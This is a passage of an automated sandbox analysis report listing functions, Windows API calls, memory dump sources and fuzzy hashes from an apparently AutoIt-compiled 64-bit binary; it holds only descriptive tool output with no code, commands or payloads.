SetWindowPos.USER32 ref: 00007FF6BB1CF988

Part of subcall function 00007FF6BB122A54: GetWindowLongPtrW.USER32 ref: 00007FF6BB122A71

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Window$Long
String ID:
API String ID: 847901565-0
Opcode ID: 17af9f186f091bf577d3b0a8bd6a034cb4dd905415e59c2f23c9277c7aa4b264
Instruction ID: 3cc2159c7986bdd22f2f433a98cf0ce9a02130234be623df76d84f9e3b200f39
Opcode Fuzzy Hash: 17af9f186f091bf577d3b0a8bd6a034cb4dd905415e59c2f23c9277c7aa4b264
Instruction Fuzzy Hash: 58219A21A08B5185EA549B29A9943397750FF89BA8F154335EB6D877F4CF3CE445C300

Function 00007FF6BB1D108C Relevance: 6.1, APIs: 4, Instructions: 71windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6BB122A54: GetWindowLongPtrW.USER32 ref: 00007FF6BB122A71

GetCursorPos.USER32 ref: 00007FF6BB1D10E1
TrackPopupMenuEx.USER32 ref: 00007FF6BB1D1105
GetCursorPos.USER32(?,?,00000000,?,?,00007FF6BB16AB30,?,?,?,?,?,?,?,?,?,00007FF6BB1227AF), ref: 00007FF6BB1D114C
DefDlgProcW.USER32(?,?,00000000,?,?,00007FF6BB16AB30,?,?,?,?,?,?,?,?,?,00007FF6BB1227AF), ref: 00007FF6BB1D1190

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Cursor$LongMenuPopupProcTrackWindow
String ID:
API String ID: 2864067406-0
Opcode ID: b766ee5e7a6f79c275b6e8452a41ed66ab3f515ad85ef8642b06b7120701f994
Instruction ID: 0244980bbe189e39d05fd2a152960204849687d314e7218f39f2af2d415a275d
Opcode Fuzzy Hash: b766ee5e7a6f79c275b6e8452a41ed66ab3f515ad85ef8642b06b7120701f994
Instruction Fuzzy Hash: D8316F26A48A55C5EB20DB1AF4953BAA360FB88F98F144232DB4D83BB9CF3CD455C700

Function 00007FF6BB1950E4 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 69stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6BB19691C: lstrlenW.KERNEL32 ref: 00007FF6BB196944
Part of subcall function 00007FF6BB19691C: lstrcpyW.KERNEL32 ref: 00007FF6BB196973
Part of subcall function 00007FF6BB19691C: lstrcmpiW.KERNEL32 ref: 00007FF6BB1969AD

lstrlenW.KERNEL32 ref: 00007FF6BB195127
lstrcpyW.KERNEL32 ref: 00007FF6BB19515A
lstrcmpiW.KERNEL32 ref: 00007FF6BB19519C

Strings

cdecl, xrefs: 00007FF6BB195191

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: lstrcmpilstrcpylstrlen
String ID: cdecl
API String ID: 4031866154-3896280584
Opcode ID: 1899200771bee30f5d10442384150b4ab3bc3e7a65083385894d3331d558b9f0
Instruction ID: 99a10af20383e2fffd13ac8b5f6d0322826572a0ffcfcc5a77f93d303701bf2c
Opcode Fuzzy Hash: 1899200771bee30f5d10442384150b4ab3bc3e7a65083385894d3331d558b9f0
Instruction Fuzzy Hash: 6E218021A0478186EB149F19E46417873A1FF48FD8B494134DB9E873A5DF7DE4518304

Function 00007FF6BB18D6A0 Relevance: 6.1, APIs: 4, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6BB18CAB4: GetTokenInformation.ADVAPI32 ref: 00007FF6BB18CAE6
Part of subcall function 00007FF6BB18CAB4: GetLastError.KERNEL32 ref: 00007FF6BB18CAF2
Part of subcall function 00007FF6BB18CAB4: GetProcessHeap.KERNEL32 ref: 00007FF6BB18CAFF
Part of subcall function 00007FF6BB18CAB4: HeapAlloc.KERNEL32 ref: 00007FF6BB18CB0E
Part of subcall function 00007FF6BB18CAB4: GetTokenInformation.ADVAPI32 ref: 00007FF6BB18CB2D

GetLengthSid.ADVAPI32 ref: 00007FF6BB18D71A
CopySid.ADVAPI32 ref: 00007FF6BB18D73F
GetProcessHeap.KERNEL32 ref: 00007FF6BB18D754
HeapFree.KERNEL32 ref: 00007FF6BB18D762

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Heap$InformationProcessToken$AllocCopyErrorFreeLastLength
String ID:
API String ID: 837644225-0
Opcode ID: 9a34ca7cdec84128c61d79319dba9bc3ccc379250e2fae1bd0d7ccebff0f194a
Instruction ID: 1dad44b2c65e605eea4f4359a60aec2b572a7e4f19a58ff935a79d4e3ada35e3
Opcode Fuzzy Hash: 9a34ca7cdec84128c61d79319dba9bc3ccc379250e2fae1bd0d7ccebff0f194a
Instruction Fuzzy Hash: FB21FF32A18B4186EB04CF29E844768B3A6FB88B99F598539CB1D83764DF3CE841C710

Function 00007FF6BB12932C Relevance: 6.1, APIs: 4, Instructions: 56windowCOMMON

Download Yara Rule

APIs

CreateWindowExW.USER32 ref: 00007FF6BB1293BC
GetStockObject.GDI32 ref: 00007FF6BB1293D9
SendMessageW.USER32 ref: 00007FF6BB1293EC

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: CreateMessageObjectSendStockWindow
String ID:
API String ID: 3970641297-0
Opcode ID: dfdf152a6b4170b9c012631cbf21b5eef6d1f67974f7a0a9349fa7dc94decf0b
Instruction ID: ab3a504a407f8294de87aa924c93b1ed2b0553e60b5b6d283055609ef78b6f03
Opcode Fuzzy Hash: dfdf152a6b4170b9c012631cbf21b5eef6d1f67974f7a0a9349fa7dc94decf0b
Instruction Fuzzy Hash: 64210E72618BC58BE7648B29E4447AAB7A0FB89784F544135DB8D83B64DF7CD494CB00

Function 00007FF6BB19CF68 Relevance: 6.1, APIs: 4, Instructions: 55synchronizationthreadwindowCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00007FF6BB19CFA7

Part of subcall function 00007FF6BB151F44: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6BB151F68

MessageBoxW.USER32 ref: 00007FF6BB19CFEA
WaitForSingleObject.KERNEL32 ref: 00007FF6BB19D004
CloseHandle.KERNEL32 ref: 00007FF6BB19D00D

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: CloseCurrentHandleMessageObjectSingleThreadWait_invalid_parameter_noinfo
String ID:
API String ID: 2979156933-0
Opcode ID: 2a49c66315dd4afd268b707153c3627d2a79b8a5ce35e179a418e828e304454b
Instruction ID: 6c0940633908a1d760b4993495f143f0fd874dee34aea4a7aaf686cbba5a3acd
Opcode Fuzzy Hash: 2a49c66315dd4afd268b707153c3627d2a79b8a5ce35e179a418e828e304454b
Instruction Fuzzy Hash: E3219632A087818AE710CF2AF9811667691FB88BD8F444135EB9D93B75CF7CE5058740

Function 00007FF6BB152FB8 Relevance: 6.1, APIs: 4, Instructions: 55COMMON

Download Yara Rule

APIs

_ctrlfp.LIBCMT ref: 00007FF6BB152FE5
_ctrlfp.LIBCMT ref: 00007FF6BB153039
_ctrlfp.LIBCMT ref: 00007FF6BB15304D
_ctrlfp.LIBCMT ref: 00007FF6BB153071

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: _ctrlfp
String ID:
API String ID: 697997973-0
Opcode ID: 696024c0d85e9950b44dad3db47e8c6049c7f355de1dae667ed974782f5b2eb5
Instruction ID: 1271257fd7e84b373f4dda99bf84c05605b04bf462c159c45434e55e4a85914c
Opcode Fuzzy Hash: 696024c0d85e9950b44dad3db47e8c6049c7f355de1dae667ed974782f5b2eb5
Instruction Fuzzy Hash: 9A11A825D0C64682E611DB3CA05117BE371FF9E788F644235FB8A9B6B9DE2DE4418B04

Function 00007FF6BB1CFA78 Relevance: 6.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

GetWindowRect.USER32 ref: 00007FF6BB1CFAA8
ScreenToClient.USER32 ref: 00007FF6BB1CFAC1
ScreenToClient.USER32 ref: 00007FF6BB1CFAE6
InvalidateRect.USER32 ref: 00007FF6BB1CFB02

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: ClientRectScreen$InvalidateWindow
String ID:
API String ID: 357397906-0
Opcode ID: 30ca773a2ae41b56c6e1d6d31e0bfc9c1d6a93403dc69e79101ac1cf7de44ee4
Instruction ID: c218763981be5a8365497d1760661741ce3d0d5b1dd12c0f036c62a4d7750bd8
Opcode Fuzzy Hash: 30ca773a2ae41b56c6e1d6d31e0bfc9c1d6a93403dc69e79101ac1cf7de44ee4
Instruction Fuzzy Hash: EF21C7B6A04B41DEEB00CF78E84459C77B0F748B8CB444826EB5897B28DF78D654CB50

Function 00007FF6BB194B28 Relevance: 6.0, APIs: 4, Instructions: 44registryCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32 ref: 00007FF6BB194B47
LoadTypeLibEx.OLEAUT32 ref: 00007FF6BB194B62
RegisterTypeLib.OLEAUT32 ref: 00007FF6BB194B77
RegisterTypeLibForUser.OLEAUT32 ref: 00007FF6BB194B95

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Type$Register$FileLoadModuleNameUser
String ID:
API String ID: 1352324309-0
Opcode ID: 26dceef0b12b748e4890be4283cc75c768f711def0b64c07a5df3002dea28784
Instruction ID: 5d21d169b681c34482e265d24bffa512be0b41bde8433b9d057f4f34821a8105
Opcode Fuzzy Hash: 26dceef0b12b748e4890be4283cc75c768f711def0b64c07a5df3002dea28784
Instruction Fuzzy Hash: B0114F72B18582C2E7308F29E49436923A0FB8CB8DF544135CB8E9B665CF7CD555CB50

Function 00007FF6BB15B778 Relevance: 6.0, APIs: 4, Instructions: 43COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF6BB148DD0,?,?,0x%p,00007FF6BB14D8ED), ref: 00007FF6BB15B782
SetLastError.KERNEL32(?,?,?,00007FF6BB148DD0,?,?,0x%p,00007FF6BB14D8ED), ref: 00007FF6BB15B7EA
SetLastError.KERNEL32(?,?,?,00007FF6BB148DD0,?,?,0x%p,00007FF6BB14D8ED), ref: 00007FF6BB15B800
abort.LIBCMT ref: 00007FF6BB15B806

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: ErrorLast$abort
String ID:
API String ID: 1447195878-0
Opcode ID: 93a8c6ec86c577cad6803fb95bafd4c8778ff4d5622681f9be56b0e8e8078c7b
Instruction ID: 2c46de84527f5868986aaea5748050051cc8a74e1da5b8f3db20b05e095baf44
Opcode Fuzzy Hash: 93a8c6ec86c577cad6803fb95bafd4c8778ff4d5622681f9be56b0e8e8078c7b
Instruction Fuzzy Hash: 2F018820B1924642FA98AF7DA51553E1251BF4C798F949538DB1EC2BF6EE2CB8008308

Function 00007FF6BB199260 Relevance: 6.0, APIs: 4, Instructions: 37sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32 ref: 00007FF6BB199283
Sleep.KERNEL32 ref: 00007FF6BB199297
QueryPerformanceCounter.KERNEL32 ref: 00007FF6BB1992A2
Sleep.KERNEL32 ref: 00007FF6BB1992CD

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: CounterPerformanceQuerySleep
String ID:
API String ID: 2875609808-0
Opcode ID: c6a5989f9dc195674d757a8e27f3c1042de8158b51fda3090b6682196588991b
Instruction ID: d31507c8fb1d52467fd9847f19ccc747bff35dd063fb35832a0151def62780fe
Opcode Fuzzy Hash: c6a5989f9dc195674d757a8e27f3c1042de8158b51fda3090b6682196588991b
Instruction Fuzzy Hash: 81019E20E08FC682EA165B2DA44417AB361BF9C789F084336EA8FA1571DF2CE5968600

Function 00007FF6BB18D4EC Relevance: 6.0, APIs: 4, Instructions: 24threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 00007FF6BB18D4F6
OpenThreadToken.ADVAPI32(?,?,00000000,00007FF6BB18CC94), ref: 00007FF6BB18D509
GetCurrentProcess.KERNEL32(?,?,00000000,00007FF6BB18CC94), ref: 00007FF6BB18D513
OpenProcessToken.ADVAPI32(?,?,00000000,00007FF6BB18CC94), ref: 00007FF6BB18D524

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: CurrentOpenProcessThreadToken
String ID:
API String ID: 3974789173-0
Opcode ID: 5cd93aab99a75fcfcb42631ab9fe43dfed1bd9e6d723e162398547d1910a1280
Instruction ID: bb0c30dd03bde4a51532f4a90f7837dcf2d53ff1d44067860663265c92b67f32
Opcode Fuzzy Hash: 5cd93aab99a75fcfcb42631ab9fe43dfed1bd9e6d723e162398547d1910a1280
Instruction Fuzzy Hash: 2AF06561A9960283FB544F65FC0476823A0BF5DF8DF984035CA0EC2260DF3C9989C310

Function 00007FF6BB18326E Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00007FF6BB18326E
GetDC.USER32 ref: 00007FF6BB18327A
GetDeviceCaps.GDI32 ref: 00007FF6BB1832A4
ReleaseDC.USER32 ref: 00007FF6BB1832C5

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 1feedfad755e607c49e01145a3823af596c92df2e00356d80eed4a018d1c4b5c
Instruction ID: 7ee70fd277001013874e61fc48b48f263dc0e8d6e056fe155c1e86dfa5540381
Opcode Fuzzy Hash: 1feedfad755e607c49e01145a3823af596c92df2e00356d80eed4a018d1c4b5c
Instruction Fuzzy Hash: C1E09260A4971286FA149B6AA85C2782269BF4DFDAF404434CE0E97BB5EE7DA0499700

Function 00007FF6BB183287 Relevance: 6.0, APIs: 4, Instructions: 18COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00007FF6BB183287
GetDC.USER32 ref: 00007FF6BB183293
GetDeviceCaps.GDI32 ref: 00007FF6BB1832A4
ReleaseDC.USER32 ref: 00007FF6BB1832C5

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 0f8fd1d3423bd3015dfaeae2d2106595fe3726f148ce33332917fba087c4fcce
Instruction ID: 341e2e69f23763ca3455ffa06b5421b75afa6d97f26bf1d58a648eeee3df91a2
Opcode Fuzzy Hash: 0f8fd1d3423bd3015dfaeae2d2106595fe3726f148ce33332917fba087c4fcce
Instruction Fuzzy Hash: E5E0B660B4975286FE14DB6AE85C2782269BF4DFDAF404034CF0E97B75EE7DA0099700

Function 00007FF6BB15CC78 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 245COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BB15CCDC

Strings

gfffffff, xrefs: 00007FF6BB15CF6A

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: gfffffff
API String ID: 3215553584-1523873471
Opcode ID: dc31ed7580b08dc4a7b229eebc0aac3b305a5916052008eb2c70828ae2249d51
Instruction ID: 6227eac56207a5712eff1c0225d2a21474cf4bb544b30ceebb462d6ab31fe850
Opcode Fuzzy Hash: dc31ed7580b08dc4a7b229eebc0aac3b305a5916052008eb2c70828ae2249d51
Instruction Fuzzy Hash: 4F914862B0938A86EB218F2D95403BC6F95FB29BD4F048132DB8D873A5DE7DE552C301

Function 00007FF6BB191D10 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 200comCOMMON

Download Yara Rule

APIs

OleSetContainedObject.OLE32 ref: 00007FF6BB191F50

Strings

AutoIt3GUI, xrefs: 00007FF6BB191E7C
Container, xrefs: 00007FF6BB191E83

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: ContainedObject
String ID: AutoIt3GUI$Container
API String ID: 3565006973-3941886329
Opcode ID: e1481fd2a8d0416b882597c007a0e4bba38b356b2fac937ea6ae7002b112dc91
Instruction ID: d24c0c272bdb7f9999ccc467efda8fb329010334e07425eb50d90a3a959b628e
Opcode Fuzzy Hash: e1481fd2a8d0416b882597c007a0e4bba38b356b2fac937ea6ae7002b112dc91
Instruction Fuzzy Hash: 82914736604B8692DB24DF29E4402AD73A4FB88F88F518036DF8D83765EF79D899C300

Function 00007FF6BB15D0A8 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BB15D0EB

Strings

e+000, xrefs: 00007FF6BB15D193
gfff, xrefs: 00007FF6BB15D216

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: e+000$gfff
API String ID: 3215553584-3030954782
Opcode ID: 04dcd116da85894f10939a0f3d563d07a18b7e7aec23bacfc76a5396d48b7619
Instruction ID: 1a4abc08f81699df0ca615adce698908f42b552eda493b69368e6b9a17cdba72
